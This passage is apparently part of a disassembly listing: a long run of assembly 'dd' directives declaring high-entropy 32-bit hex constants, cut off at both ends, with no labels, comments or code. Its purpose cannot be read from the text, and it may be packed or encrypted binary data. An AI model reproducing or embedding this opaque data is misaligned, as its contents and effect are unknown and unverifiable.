0B83996A1h, 4521B26Ch, 8A2F2C7Ch, 0F304C38Ah, 9546CF80h dd 4968012h, 188891E6h, 0E464120Ch, 0A4B13B9h, 84938A43h dd 41C7E688h, 0FC3C9993h, 42951C8Eh, 0F8202A0Ch, 8A841079h dd 946D1221h, 0CFB421B9h, 53C32919h, 676A1248h, 0E8EE11Ah dd 8224015h, 29CF1297h, 68A2016Bh, 1B7C61BCh, 0A6E8158Bh dd 1FA08D8Bh, 25BEC969h, 52481C4h, 21013EDCh, 16E614E8h dd 0DD615D7Eh, 23B13227h, 847022EAh, 75619DA6h, 9B1A2F07h dd 782F025Ch, 0B18421FFh, 0B09152FBh, 1100542Dh, 93960DE8h dd 0E0596E7h, 0CAAFCD2h, 0CB95CAEAh, 6622179Bh, 0B223FF7Eh dd 4A671E48h, 0F3335418h, 0B1C34010h, 0D3788C6Eh, 0D1631DD9h dd 9B2E2662h, 0E8F08B02h, 3BDEF73Ah, 0C692F61Bh, 0EBD86004h dd 8AB8B06h, 0A771BCB2h, 2930FB90h, 0A46857ABh, 0FA08C091h dd 0FDFC509Ch, 7C8D49CAh, 23398000h, 0BEA11C74h, 0FA40A7D0h dd 38819164h, 500CF081h, 85886851h, 0FAE2E963h, 44803C08h dd 11D22DBEh, 44FF4D84h, 4BE85029h, 0A2451EE6h, 22C27FB8h dd 0C267BEA3h, 11832C68h, 0B875FB6h, 324E6B3Ah, 0CE2C5990h dd 70586642h, 410C9494h, 335F9EE9h, 0CEE08479h, 0E77D414Ah dd 799C9934h, 6A1982F7h, 4AF2E81Bh, 0E01C25E0h, 679DE694h dd 0D558A48Ch, 1099E47Bh, 0B8941989h, 84930371h, 88D6F023h dd 70D8D550h, 562184D6h, 0D6F8C291h, 0B313FE3Bh, 0CEC0C223h dd 9993BF10h, 41BC46Ah, 18228C20h, 14D6F402h, 2386D5E6h dd 0F4425C59h, 740A15D6h, 2238D516h, 0A28513D7h, 5C666D5Eh dd 0CE44883Eh, 0C55E4278h, 11085868h, 8247967h, 75768A56h dd 1488D03h, 53A808Ah, 3133BA94h, 27A60F89h, 3FC753F9h dd 57107DD0h, 4D20BF34h, 9AF2B481h, 0D4842472h, 8A19A572h dd 13DFE832h, 6255C1E4h, 0DA1A7585h, 9ABD1091h, 228397A2h dd 1222305Dh, 0BE334C8Eh, 949C1D0Bh, 9EA49CAFh, 4091301h dd 83267828h, 0B0067A53h, 1933867Ah, 30811574h, 479E24B8h dd 2C3D3B28h, 0E9DF7C0Dh, 0AE685B71h, 0F277315Eh, 0D8792C92h dd 0C5F87CFAh, 230D8ADEh, 2CD69B9h, 2488831h, 12030F93h dd 88F8D03h, 20B64FD8h, 4C08318h, 186F5148h, 8D6E8FABh dd 0B0352E44h, 0FF1B264h, 141A9171h, 0C2D356F1h, 1C11CE18h dd 9616B9AFh, 1FD987FEh, 8D3C1460h, 5A8B4219h, 3BEC3039h dd 0B2878D29h, 894D5231h, 0F4452207h, 3364AD86h, 0FC70FF1Bh dd 0EDE8E35Ch, 50749971h, 214496C6h, 0C055831h, 42443BEBh dd 7CBC3475h, 0CCEA94A5h, 99AA129Ch, 9D880C10h, 3D0D6E68h dd 8457F470h, 4D3B187Fh, 146D0928h, 0B8470804h, 39498F0Dh dd 0C512C809h, 0F88B2210h, 1443C49Ch, 0B3915811h, 1928FCC3h dd 5078B2Fh, 60381356h, 0C428694h, 25FEF28h, 85C7B27Fh dd 0D2D1FD38h, 18A41BA4h, 39E46152h, 7394797Ch, 7235F136h dd 7D8B1802h, 66106808h, 8452691Eh, 8545616h, 0CC8A4012h dd 0A96870C6h, 53122F11h, 0BE707474h, 5A108388h, 138ACDF4h dd 0A6406681h, 0EC681C15h, 28022211h, 840BE4BFh, 0BD0652A0h dd 0C2F5F499h, 0F28B1408h, 18B0E990h, 2905D620h, 43CC046Ah dd 29CDCDE8h, 0B10461F5h, 98C0227Bh, 801C3A40h, 3014A0BDh dd 909527Ch, 167E3902h, 2899036Ah, 0FD940CDCh, 0EC5683Ah dd 84248F41h, 1115567Eh, 7F8EFD10h, 0C49F8848h, 5C8614EBh dd 606A2DF9h, 0C2800C48h, 95882014h, 50294216h, 14846DBBh dd 9D8735E8h, 0C6A2882h, 0D350EB56h, 20F2828Ch, 0C506C025h dd 0B1872F16h, 0F514C91Dh, 5088FADh, 91E42156h, 3096400Eh dd 3503E932h, 0FB8E4ABFh, 0CD1C20B2h, 19A4E178h, 0A3AE7C10h dd 65285FCDh, 885913A9h, 258BC090h, 0AD4D2084h, 0AABE3528h dd 531121A2h, 615F9FE8h, 0DC184DAEh, 8B27E975h, 84E2198Ch dd 0CB483B0Ch, 0C01D2572h, 9C18322h, 8B088903h, 5708F6C6h dd 90CDD468h, 96DF117Dh, 6E6784C2h, 88D0300Ch, 15AECAE8h dd 0CC215243h, 37B1B510h, 84C80820h, 22C8A042h, 8B88506Fh dd 841F6558h, 7621BC42h, 0B4325064h, 210B6111h, 88B0902Ch dd 0C17594Ch, 374284A4h, 221EF8C4h, 0B2211A0h, 9490E321h dd 0B5590D88h, 2184900Ch, 0A04495F8h, 0E3118832h, 1D8D100Bh dd 0CE10E19Dh, 0B41B78B2h, 4316B922h, 10702163h, 194EB2A4h dd 858F0864h, 441C3388h dd 167A2260h, 50211E43h, 75C46511h, 6F3B62Fh, 4868066Ah dd 0D234EA33h, 4B1E160Bh, 7C32FC0Dh, 4C214EDAh, 0E9200288h dd 800CF354h, 2557842Ch, 1AA71055h, 10452888h, 19921572h dd 5FFB081Ch, 62367494h, 0C31196Ah, 0B894EB11h, 0D521424Ch dd 9281844h, 0CCF0208Ch, 366BE926h, 2B17E466h, 0E429ACE8h dd 13D46203h, 44A837C4h, 25262B83h, 5F333721h, 192129D4h dd 5A88A490h, 0CC21F356h, 10842902h, 4284FEF0h, 58312178h dd 6C42680Dh, 0C7106021h, 84458C8h, 680E082Bh, 2240444Ch dd 834199Eh, 0A09342DFh, 84246810h, 75211442h, 0B6880890h dd 68110856h, 0E89DCBF8h, 3D4C4362h, 858DC4DCh, 56841265h dd 44C42908h, 11B83223h, 642A1D64h, 712D2765h, 5A560C7Dh dd 14C7CD5h, 0E857B008h, 50866546h, 0FCA6956h, 0B828221Eh dd 1742C281h, 7084AC68h, 0F22150A0h, 163FA407h, 1E085B84h dd 0E9295488h, 0D8A13F85h, 0C87921E8h, 0CDB45612h, 0AA951E87h dd 80F893Fh, 423B21ABh, 3FA489A2h, 8A08413h, 5654481Eh dd 7F533F6Bh, 4AF221D0h, 0DA215326h, 15307734h, 36A06C23h dd 3D24E934h, 0CB64A8F0h, 2A920E44h, 0E9C29143h, 298EFCA4h dd 0E588CAA8h, 9C875491h, 297BE98Ah, 0BC88F490h, 8A61A756h dd 902952E9h, 569388E8h, 0E98A6CA7h, 0DC902929h, 59566A88h dd 0CC844205h, 292A5CCAh, 4123BC42h, 0AB08CFA6h, 8B44516h dd 96592C15h, 4284A80Ch, 6469C817h, 160222A0h, 94215443h dd 7D90ED0Ah, 22681FF0h, 7C42CA8Ch, 88FB8310h, 7CC44570h dd 45902229h, 8582981h, 4C42865Ah, 0B589B21h, 21444268h dd 0C8311038h, 7472442Ch, 15AE9004h, 5D112422h, 8699155Ch dd 48211442h, 0C326E64h, 760B3311h, 0C9F82286h, 2EC81E42h dd 922F064h, 21194316h, 8FF408E4h, 8414EE50h, 0DF21DC42h dd 0D032D964h, 210BCA11h, 88CC90A5h, 0D9059B5h, 0BA011EAh dd 0BC428676h, 44648B21h, 7611B432h, 13E7100Bh, 6144B088h dd 4286D22Ch, 644C21A8h, 11A432A9h, 94210B37h, 2288A090h dd 9C0C4859h, 0C80D4284h, 21946433h, 75188EF8h, 0B42D417Bh dd 0B8182351h, 772F7E74h, 0F4C6405h, 0DC88A950h, 0D7CA8657h dd 50256A4Dh, 0BB217F96h, 0E91C0268h, 528451FDh, 3BA62244h dd 11EDCE10h, 91454088h, 19D81572h, 857C0838h, 34C8A090h dd 8B2C6744h, 21304286h, 10836252h, 3D082C11h, 0C86E9085h dd 2C284420h, 1C428640h, 2B641321h, 0FE101432h, 0DC1C858Dh dd 881010E1h, 0CC759E9h, 0D4428408h, 46487C8h, 4316BF22h dd 0C8FC1172h, 2364AA21h, 90859538h, 44F4C80Eh, 42D62C80h dd 10F0210Dh, 19C1B26Bh, 855608E4h, 0E0C88E90h, 792C4144h dd 21D84286h, 0CDC622Ch, 1708D411h, 0C8C79085h, 2C0244C8h dd 0C4428695h, 0A28CED10h, 8B81980h, 529085D8h, 0C344B4C8h dd 42863D2Ch, 62AE21ACh, 0A4110BE9h, 90859908h, 4F9CC8D4h dd 1738D691h, 4469B80Ah, 11EB80C8h, 7C08F71Ah, 1D5B29A1h dd 606B1E2Fh, 0F85D3904h, 0EAA21A75h, 3AA4C541h, 66377084h dd 0C2809F84h, 285D8920h, 0EB0C8DE7h, 1D2E1703h, 0A640DEB5h dd 0C86008C7h, 28582E5Bh, 190F20A2h, 9E8419E8h, 0D067CE6Ah dd 665EB42h, 109F7C81h, 5E24C458h, 7DD40EFFh, 0AF7C0362h dd 11C89B61h, 8B111D08h, 2BB34D84h, 1845A805h, 0E9DDD605h dd 4CC4CDh, 28E88E8Bh, 0DCF61641h, 2F613C75h, 5C96E856h dd 155A3E18h, 363199DDh, 48898808h, 4C2E741Dh, 71839116h dd 4410DEABh, 684C634Eh, 654253ECh, 2DE91404h, 0C7F82163h dd 0A8B3E11h, 8A0A3810h, 291015F4h, 0E81923B2h, 88851408h dd 0E04409F7h, 0A8AFF21h, 0D490E221h, 9559EA88h, 4284CC0Ch dd 6F80C8D5h, 64E19F50h, 11BC3231h, 1C210BABh, 9688AC90h dd 8407CC58h, 8121A442h, 9832B764h, 100B6C11h, 90880616h dd 88B7F04Eh, 0E19CF06Eh, 1104B262h, 852D087Ch, 74C89D90h dd 75711844h, 117A2755h, 164CC758h, 72A98220h, 1C309259h dd 0E310703Bh, 71D763h, 883A1B0Eh, 8E974E8h, 0E8841235h dd 0E91BF0C2h, 0CAFCC948h, 0B20B6650h, 3CC8C589h, 953011C2h dd 90159D2Bh, 2A44CA09h, 75C48811h, 0C552B919h, 71BCC720h dd 0E9E72ACCh, 54A14B77h, 8E5E0814h, 9C15742Eh, 4D4711A0h dd 782A2748h, 0C4AC8C95h, 0BEF0AC8Ah, 3CE86971h, 0C8E8D554h dd 89EB804Ah, 2FD9A885h, 1289FC18h, 0B3DBF130h, 4013341Ah dd 9942C610h, 8026583h, 4EA70834h, 6F2640B1h, 2C107947h dd 0ACA8A3F1h, 1A6F1A31h, 0E8F12C10h, 75F14238h, 0ACA14B43h dd 0DC713C6h, 1CB2A037h, 8AA305Ch, 0BAC33A14h, 0DE134B0Ah dd 0B0CAC6F4h, 8308006Ch, 19380BC1h, 32D9F675h, 89108528h dd 0BE272055h, 6A80E054h, 0BDE8790Bh, 7A828D09h, 0A057B8C8h dd 7DF79930h, 0C1030C08h, 7E17F43Dh, 0CD51332Bh, 42C66C84h dd 0B3804144h, 6214E1A7h, 0E92A2008h, 8DF0B166h, 2DF8D031h dd 1ADD1D39h, 85C7FC86h, 32491BCCh, 0B814643Fh, 0BC640548h dd 11032044h, 41740AA6h, 522C28BFh, 0F6C08384h, 0D8470E81h dd 87C5CC89h, 480C9939h, 4001C7B4h, 0E0751F39h, 44BE1AEBh dd 3844A151h, 0E1C15C03h, 36AAF706h, 0B48D9A3Fh, 0DD188E1Fh dd 0FD8411A2h, 2DF04B01h, 5F9FA92Ch, 0FCE5922Bh, 0FDBD8923h dd 2598AE36h, 4C78D815h, 1858A17h, 0E0F6FF23h, 7066C01Bh dd 9D05F825h, 852108C8h, 0E789F85Ah, 0C0150610h, 0D14C5CB6h dd 14FA08Dh, 7CBA8Bh, 5038C033h, 1E6A359Dh, 0DC950F30h dd 0F88B4A40h, 84EDC21Dh, 3B405974h, 135D88FBh, 0B0227E2Fh dd 0C6701E17h, 6C1D7852h, 88CE3E58h, 2F5845FEh, 0BE0F0E03h dd 0CF3BC14Dh, 3B35DE7Ch, 0C6023259h, 3E1929B0h, 0DC39E6D8h dd 22CC13AFh, 4AA2B052h, 0D3E0C0A0h, 0E845A427h, 0E7FC432h dd 492B7568h, 86A9ED02h, 13E78A76h, 423054DCh, 0A4E809F8h dd 821FF17Fh, 309D8806h, 3A801046h, 0C64F64B8h, 6A586823h dd 4786EE0Fh, 4C9B1A8Dh, 218BBC18h, 0B491B80Ch, 634E512Dh dd 8C5EC21h, 0B717E5Ch, 876BD01h, 0F8C0802Ch, 0F7A00885h dd 40C33C61h, 0F8C0100Fh, 0E48112ACh, 25752D89h, 0EE47AE96h dd 0B0217143h, 0BF7DEB8Ah, 1F2F2B6Bh, 5FB6882Dh, 8016E1D8h dd 31988359h, 87220B4Bh, 0E916A10Fh, 0A191E3B4h, 1A267A78h dd 5960734h, 646DCE1Fh, 0A7E2EA5h, 45162092h, 0A75B2804h dd 0BF501861h, 0B034CC3Bh, 0C442D248h, 14627E62h, 534E179Eh dd 8B2D36F3h, 3B2439C6h, 59274EF3h, 21792ADEh, 2B98D3B4h dd 9778A16Fh, 227FAFC9h, 0D4C084DAh, 9D218125h, 0F86E6BCh dd 5ECD93ACh, 5C8B19C4h, 0E95B7A6Dh, 44111810h, 3048CFD5h dd 2DD2B084h, 244392A0h, 621B2468h, 8C477CD0h, 31170510h dd 1059A675h, 0ACA1D4B8h, 46960CD2h, 0C73E9A17h, 0D54C423Eh dd 87468210h, 11640B49h, 8B010D3Eh, 272426BCh, 1349F0FBh dd 0E27B44E8h, 9647BCAh, 415E3916h, 7CA105EBh, 0D0112290h dd 0C9381087h, 4881F4Ch, 32940F8Fh, 4C262219h, 41117411h dd 2AC83498h, 0A90F91C8h, 709859C1h, 0B00C222Bh, 5E226881h dd 4FA2F64Eh, 0FB38CE91h, 0CBA8C3Bh, 25E8B044h, 0E1DB7D2Eh dd 0F487834h, 0BC800373h, 1B0A3305h, 1775595Ch, 0CD5F17E4h dd 77319C88h, 238B26A4h, 0C540082Ah, 0EDA8FE89h, 8FA1AD28h dd 0E6F8087Ch, 22FC4A7Dh dd 98A848B0h, 12064B43h, 5F921944h, 5298BE84h, 6982F64Fh dd 8916559h, 5A42C4ACh, 1076477Bh, 73BB1003h, 40082088h dd 0C5A850C9h, 43D57C86h, 673EDA40h, 0C9544202h, 57689F1Dh dd 0C587A2C4h, 28A7AE9h, 8813A050h, 0E9125753h, 8C7C34D5h dd 0CF7942B8h, 808871ADh, 0E7903AACh, 0A349DA48h, 0AA75C384h dd 409C592Ch, 40656AE6h, 0CE4B86BAh, 0B4A5D18Bh, 63C68DC9h dd 0DC44644Ch, 9944E852h, 0FC14614Ah, 0E61C84C3h, 4857578Ah dd 947B4711h, 844B5265h, 924E7F0h, 7205505Fh, 84305018h dd 0EC355894h, 0A551040Dh, 86343C6Dh, 0CF7A0921h, 72477490h dd 0A1E7E010h, 4D0CE618h, 0ED410A21h, 0A1C7233Eh, 0D008E7F4h dd 0BEFFE76h, 4DC3F884h, 642F37A6h, 94EE1DD5h, 7D189208h dd 7EBFE78h, 581FE796h, 319C4BA8h, 0DB2A461Dh, 20E8B49Dh dd 0E9277B36h, 0A1D88294h, 77927F50h, 0D0FF7382h, 7186650h dd 0EBA7D468h, 0A1A8EE0Ch, 7CF90507h, 8AE0B614h, 0E986DB28h dd 0F4162D7Eh, 0A6B68CFh, 8E589032h, 452CE8DAh, 0C455E2D3h dd 0E268C314h, 1A415A43h, 0D6423AF0h, 0C7EF3C88h, 22CA37D0h dd 0C7D060C2h, 82E80A6Ah, 0A2CB735Ch, 361682CCh, 502E0856h dd 0E945C8Bh, 7CBAF89Fh, 44A43EC8h, 84945E17h, 9F0D220Ah dd 0C620D03Eh, 84E91A67h, 1BF31ADEh, 3E21D21h, 67CDA62Ch dd 0CF83323Bh, 29D51508h, 52DEFEE0h, 0C2955196h, 838442ACh dd 4E772954h, 0FBE0B5EFh, 5180471Fh, 0C73B0462h, 88830973h dd 574DE89Ch, 191375C3h, 8380168h, 13C2426Ch, 40CF7801h dd 0BB59D484h, 4202532Ch, 0C0E14A11h, 629E8DA3h, 0A466196Ch dd 0DC4C6829h, 12E3408h, 67E8276Ah, 2C1B2672h, 0AF633C28h dd 6C5253DDh, 0A1C22C11h, 0E90C5976h, 16DD902Dh, 0F4D421D7h dd 1A786562h, 6370E23Ah, 9D61F44Eh, 330DF55Ch, 601C6436h dd 589D8C5Dh, 1B0C740Dh, 0C5246856h, 977FF0E8h, 5888C5C5h dd 0E4F1C8F5h, 77103108h, 8AAD410Bh, 896F711Eh, 8A54986Ch dd 0D021F94Ch, 98EB88F4h, 87F554D0h, 10F56442h, 0C0945467h dd 2175865Ch, 9B09C1CCh, 62997676h, 0D454543Dh, 8DC1B078h dd 69586308h, 0CC2D18E4h, 82DB7BB6h, 14133E8h, 9C173AD5h dd 964BD5A8h, 9171CE52h, 8521E6B3h, 0AB946831h, 2B4F2DEBh dd 5C240666h, 836A8829h, 0F2622FA1h, 7AB12F57h, 1C0F2228h dd 0C2E91809h, 189E9755h, 0E6E939A6h, 84E4DB4Bh, 9D8808F4h dd 740BEA6Ch, 2FCB1C34h, 23E85629h, 488E7636h, 0E34A371Ah dd 0CC506AFEh, 0FC4C9959h, 42E69110h, 2F16E9ECh, 0BD16767Fh dd 238EE9FAh, 0F49EEAF0h, 8954DB65h, 45186068h, 0BA917556h dd 0B70425C4h, 0EAEC716Dh, 0E9E8100Ah, 0A15251DFh, 840EEAECh dd 1121EAF8h, 0A1B373DBh, 0D911C128h, 0C48A67DCh, 68060D85h dd 0F3F43710h, 0E9D24CF5h, 42CE9349h, 0F43C84D7h, 754DA82Ch dd 1438E2BDh, 1A8DC479h, 31871DC8h, 30A5CD68h, 7C4064BCh dd 0E02BCF7h, 345B4059h, 6EB44B4h, 0A510D9C6h, 21EC9F02h dd 71745408h, 6CB50128h, 0F442BC1Ch, 0C250388Fh, 1E40B161h dd 0D0F4BC21h, 2784F4CCh, 7C97287Ah, 8BC0B088h, 22764D86h dd 0F398EFCFh, 0D017198Bh, 17313F73h, 71CC55A3h, 0FFA5C528h dd 7A42BB35h, 0E463A9E8h, 0C46AB070h, 0CEBFEB7Fh, 52272D35h dd 3A314CB2h, 7273FCC4h, 0C0600222h, 14651656h, 0EB02495Eh dd 9950680Fh, 80140212h, 0E9FE6AEAh, 29D96320h, 88163868h dd 0B73E54ECh, 62A71B1Ch, 98DC9BD9h, 0FDE9FFC8h, 39042242h dd 0BFD909CAh, 0E9304012h, 0C2525D45h, 0AEE855F2h, 356A9E9h dd 71EAC416h, 42549348h, 507D2168h, 67897083h, 5827CB2Fh dd 0D8681B56h, 9C8ABE7h, 0E540E90Bh, 6A02D745h, 84BC6824h dd 2822AC18h, 84CCD29h, 6159716Ch, 0A3E533EEh, 0FA70C4D8h dd 9E143B8Ch, 17601824h, 0C1B7106Ah, 22787300h, 0D5117C9h dd 68E676B4h, 10DCEB16h, 744924A8h, 958E294Fh, 26127C82h dd 1C6DA4F8h, 0E05E2CDAh, 0B5F4F945h, 0A0FD6DCh, 0B44E720Eh dd 0AC6A1664h, 9C65271Fh, 0BF842133h, 7171D608h, 0AD370319h dd 7410FAB6h, 0F9DCA1FAh, 1146CD0Ch, 3AFA7484h, 16FA4278h dd 803AD791h, 13BF4811h, 33CFD959h, 4A201520h, 23664870h dd 153E18D9h, 0E406230Fh, 249484A1h, 0E3CE52Dh, 2B8F6628h dd 47E9F684h, 447E894h, 0F1B6E68h, 8A90BDB1h, 0EF03E80Dh dd 2DB70F8Ah, 0A6B116AEh, 0F14F6481h, 0E5881C21h, 37575970h dd 0BC5063E9h, 68B8452h, 31210620h, 10301069h, 0FA7F688h dd 0E503C250h, 88211E40h, 0F698D0F6h, 0D68B2184h, 88BEDCD0h dd 0F8D7D853h, 4111A2F6h, 17748478h, 309E62AAh, 2602118Bh dd 4C09F5F0h, 621DF7F1h, 0F56C8495h, 714A132Ch, 0A8396C72h dd 681DB132h, 0F4E797AEh, 0E7724CF9h, 0D0B8138Dh, 0A40D2AEFh dd 84020FC4h, 5CED29A8h, 1338CC12h, 1E22626Ah, 46E6833h dd 47F5EC21h, 1962A868h, 0EC21349Eh, 0F5FCD0F5h, 3AB52E84h dd 6C227482h, 3A8B2CBEh, 5D7BF86Ch, 1908C7B3h, 184E264Fh dd 3C9047BDh, 93AC15CBh, 0F04ADA5h, 3812237Bh, 14804F36h dd 60C8826Eh, 83003C7Ch, 377D03F8h, 0E620558Bh, 0E1C100C8h dd 111C3807h, 74E6348Dh, 30A11F5Ah, 1067DB3Eh, 88C06EF2h dd 38EDE91Eh, 3D8CF0AAh, 4564EBABh, 3D225410h, 779A127Dh dd 76B196B8h, 0C14F659Fh, 0A7B5E9E2h, 0ED537B71h, 0CC4172BBh dd 69E9C78Fh, 597C4D8Ch, 8E766478h, 8F8F8425h, 68A4E799h dd 0F4F5CE09h, 0C8F7D050h, 85214329h, 0A8397D75h, 0F748543h dd 75E761C3h, 0F618520Eh, 82FD9635h, 0F1765812h, 971DF127h dd 0C544B818h, 42F66B2Fh, 0E7DD1742h, 72306090h, 0B60F6CC1h dd 11461E85h, 291D4711h, 0D008281Ch, 0C680DF1h, 0E28689B3h dd 8015B6Dh, 0EB86F1D0h, 5A785690h, 7AD3F374h, 0E807752Eh dd 0EB14BC10h, 54D9891Ch, 0C7590073h, 919CA405h, 56A43D83h dd 0F5BC1491h, 266D9AE1h, 0DE092AB9h, 0BC10849Fh, 77757144h dd 9261EE46h, 0FA129D8Ah, 0EC1CC402h, 20548F6Eh, 9C830C09h dd 5989F252h, 0EB8C13FDh, 14118AA3h, 6E3AC5ECh, 353DE577h dd 29EBD27Bh, 0A0FC11B1h, 184AEED9h, 14152B4Ah, 21F29472h dd 2638BC74h, 871D26Dh, 3F656101h, 0EC340E67h, 12391556h dd 0D5493790h, 40B8A108h, 87EC1878h, 10EC2442h, 428736AFh dd 0F426BC34h, 0EF8FBDA7h, 746E1071h, 84BB4A1h, 0F415A320h dd 42869F2Ch, 6F442110h, 4408C8B0h, 8A2D2C2Fh, 149DAED5h dd 35182217h, 72F53D8Bh, 87DE765Fh, 13B1A2Fh, 16C64DFh dd 8185393h, 0EF92BB75h, 4A9C41CDh, 5C394075h, 6F748035h dd 3221E49Dh, 50AD6AE2h, 0F244B377h, 780EB1D4h, 2D5AAC08h dd 239086B3h, 3CD01CD0h, 0BBCC680Ah, 32AD1365h, 3E761478h dd 864DF0D6h, 0C8428984h, 0DD916622h, 2B6BC2ADh, 4EEDE154h dd 0D5D1892Fh, 0F45257C4h, 0FC21FA31h, 1A06AF0Ch, 94717826h dd 2D2F1EEDh, 688518A3h, 2C2F51EFh, 0B6CB3F6Bh, 2B2A221Fh dd 84B0106Ch, 237F72FAh, 0B4100857h, 0FF290C44h, 9C212BFCh dd 706AC088h, 908529B6h, 558E8898h, 6230EB08h, 0A010B914h dd 0FEFF8E70h, 0C8889015h, 0E4A7954h, 22108021h, 87F23AAh dd 3444B210h, 2BFCFF29h, 0A1B87421h, 28DEC269h, 116C4216h dd 2CC971B6h, 7442E679h, 1557C521h, 0A9213F64h, 10329FE4h dd 77085C11h, 3254448Fh dd 60431E6Ah, 38444888h, 2873128h, 76386826h, 0AD5B7554h dd 79264448h, 21C24E1Ch, 70F40834h, 9C3966E1h, 5D58740Ch dd 3B41A323h, 4530596Fh, 3FB9990Dh, 180F4238h, 4C8AF9F7h dd 225281E8h, 672C8820h, 9FE8BC8h, 536338CDh, 33248Bh dd 0A37928C5h, 0DCBD2752h, 707B0BA1h, 3679F694h, 7F7D1A82h dd 0ACB6A10Fh, 476CA540h, 914BA562h, 0D1209058h, 473246F0h dd 2C3629F0h, 14332C64h, 29257EC3h, 5030E699h, 0A5D7C1F9h dd 67E8CF63h, 8626F570h, 37A947F0h, 6D450A84h, 73902527h dd 593CC38Ah, 0AD140CB9h, 10632127h, 3892F29Ch, 708467E4h dd 605185C8h, 2956230Fh, 10C23A4Dh, 83A36F2Eh, 48742C84h dd 77A1CA7Ah, 0ED7B0867h, 29523F0Eh, 5FE40E6Dh, 908D516Ch dd 8164F443h, 0EC10028Bh, 66C685BAh, 42BC9A38h, 8242125h dd 9488BAE4h, 14EB516Eh, 0A14AA88Bh, 0BC09C2A7h, 477F522Ah dd 18B175C8h, 0BE08FB44h, 0DA502849h, 4561451Eh, 42332C4Ch dd 84502549h, 14216694h, 46181D05h, 4B598978h, 78088844h dd 0F58C24FEh, 1FFBF40Ch, 0C4503423h, 0BA118765h, 0DC880294h dd 326D9242h, 0F81B227Fh, 0ED2284E7h, 0DFA94D7h, 7D794768h dd 0C473210Fh, 3A4B22D8h, 2CFC498Fh, 0C2CB7930h, 4B32141Fh dd 193228B2h, 30654020h, 6B22629h, 0FC2C2C96h, 4EC23023h dd 368A3665h, 0CA786251h, 0C0148764h, 6412C83Ch, 8EC82A84h dd 8198479h, 2184D0EFh, 52F66C5Ch, 39C84B43h, 2174EF68h dd 1714BAC0h, 0B80DB22Ch, 0A5645FB3h, 3C1052EFh, 88763DBh dd 23C422D1h, 64158432h, 8C953C9Fh, 0B842EF84h, 0A76B6D10h dd 0F3F2300Fh, 4B54941Fh, 10194AB2h, 0A421725Ah, 23F22D90h dd 75DB401Ah, 681FB363h, 518CD15Eh, 0E62F637h, 8821EC11h dd 7443F43Eh, 0B5E4BF21h, 0C4150772h, 8C7E3C88h, 704217A4h dd 0A76A5610h, 0F602D128h, 4B3D141Fh, 9D3233B2h, 27161417h dd 0C1330CB2h, 0A95B625Eh, 0DAB1C556h, 0D0100E61h, 2215DE20h dd 8660FC3Ch, 94C89E43h, 9761E6E2h, 3C624478h, 26A48C58h dd 30115442h, 33758469h, 28C9F2F2h, 543ECCEFh, 90871C46h dd 0C828E112h, 8ABCEA13h, 0B33106Ch, 46CCBF06h, 7F053E4Dh dd 0D7501FCh, 76574EAFh, 8D51508Bh, 10C78185h, 0E9DBE8E1h dd 3E8BADECh, 0DA59DF7Ch, 0F40B0409h, 0A8BAE585h, 0EC9CF3C7h dd 0AE5E930h, 768B10CBh, 1019256Fh, 0E4665984h, 0D5BC3F62h dd 6F101548h, 791A4DB2h, 155A155Ch, 0C6511C8h, 58452A08h dd 42843EFCh, 6530215Ch, 8154AC7h, 0B21B102Ah, 420419B2h dd 43160615h, 0C9CC1161h, 0A267F110h, 0B9F8184Ch, 100BDC89h dd 20843D37h, 59C748CEh, 0A1F00C22h, 100BB22Ah, 0EC8A3C5Fh dd 0B29D1015h, 8E0194Ah, 0E3888588h, 22D8443Bh, 0CE431673h dd 5E10D021h, 0CC19A0B2h, 90854908h, 44C4C88Bh, 86482C34h dd 851F08F5h, 64C43390h, 5B0A4897h, 82BC32C4h, 1466F52Ah dd 143AEC21h, 0E02115B8h, 0B4326C64h, 210BCB11h, 88A89057h dd 0C1259B6h, 0A14284A4h, 2239FDC4h, 0B8C119Ch, 98908921h dd 74597788h, 4284900Ch, 6423C862h, 164D228Ch, 50110E43h dd 673821BDh, 8845B81Ah, 59232A08h, 80155205h, 100B0E11h dd 7C8837CEh, 1465F942h, 84740CFDh, 0B0C4E442h, 11702236h dd 9B210BCFh, 0BA21C2B8h, 60324F64h, 210BA511h, 885C903Ah dd 35BB5890h, 21584284h, 32A6647Bh, 0B66114Ch, 48901421h dd 0FF585188h, 40428434h, 8B4E3C21h, 69B37C3Dh, 1017E288h dd 84ECB325h, 0E8206A00h, 38BF57E2h, 88B91CA0h, 0D6821399h dd 4EE52793h, 73F13C0Bh, 5AC3BC93h, 178090C9h, 5CBE1C75h dd 4E974291h, 64CF2EDAh, 8B06E261h, 26BFD7Ch, 7CF14044h dd 5DC15052h, 900C1C97h, 69B85CFFh, 0BC5CB384h, 220B24Dh dd 0A1DC5514h, 14F1C0C2h, 10863C7Ah, 0F1411FD5h, 0C80EF1C0h dd 266542F1h, 1AB8911Dh, 0C542EDAAh, 642288C8h, 5365245Bh dd 56918804h, 7E5C682Dh, 4274810Bh, 5C2A7A30h, 89240A20h dd 716F5212h, 0EC63EA10h, 0C96346D3h, 56CE0421h, 2028528Ah dd 5A474542h, 0F0141152h, 0B3309CCFh, 102ADCA0h, 18AC637Dh dd 6FC4F042h, 42F0685Ch, 5B6110B7h, 0C20721E2h, 0F098E2C8h dd 18EAFB14h, 88D2660h, 2174F098h, 1308F0A4h, 0B4227425h dd 0EC5821B7h, 1462D0E2h, 2824E121h, 553F2404h, 30047A52h dd 44945E28h, 0F137270Ah, 0E23C1EBAh, 74389857h, 0CA5223E1h dd 75621781h, 0C7C05D73h, 0A0995542h, 0F90B3E68h, 42A6F910h dd 6A10B6F0h, 210875Ah, 0EE52CB12h, 1ECED029h, 5B97ED86h dd 0F9EA6DD4h, 0D5711424h, 8311B6BCh, 0FB100FEBh, 1A0CA261h dd 546A8B0Eh, 428471D5h, 4A2F5330h, 620B0A64h, 0DCCD1B10h dd 0E438C34Ah, 2827DA68h, 0BF3617ACh, 32394554h, 57314974h dd 2B1B0042h, 76BB3AFAh, 42962CF4h, 0E83A7523h, 1888C3F4h dd 22EADD42h, 0A82EB5ECh, 1F45310Fh, 638A2B54h, 8AD61640h dd 0A750714Bh, 0F34CA4FDh, 1457CC6Dh, 0E8F4402Ch, 0E5E2753h dd 0C4C70C75h, 18FCF430h, 0FC09EBC4h, 4B0F9044h, 8D22DE2h dd 0F170588Ch, 0AC628560h, 0E32316F3h, 0B5A84259h, 8758D510h dd 36112310h, 0F3A8C451h, 0CF5A428h, 841C46F4h, 103AF3A8h dd 8784F434h, 6C113A22h, 41CC39B5h, 22EE7471h, 0A33B6046h dd 0E88D4B3Bh, 1274C6CAh, 502C4210h, 32843020h, 5D352587h dd 0CA0AE35Dh, 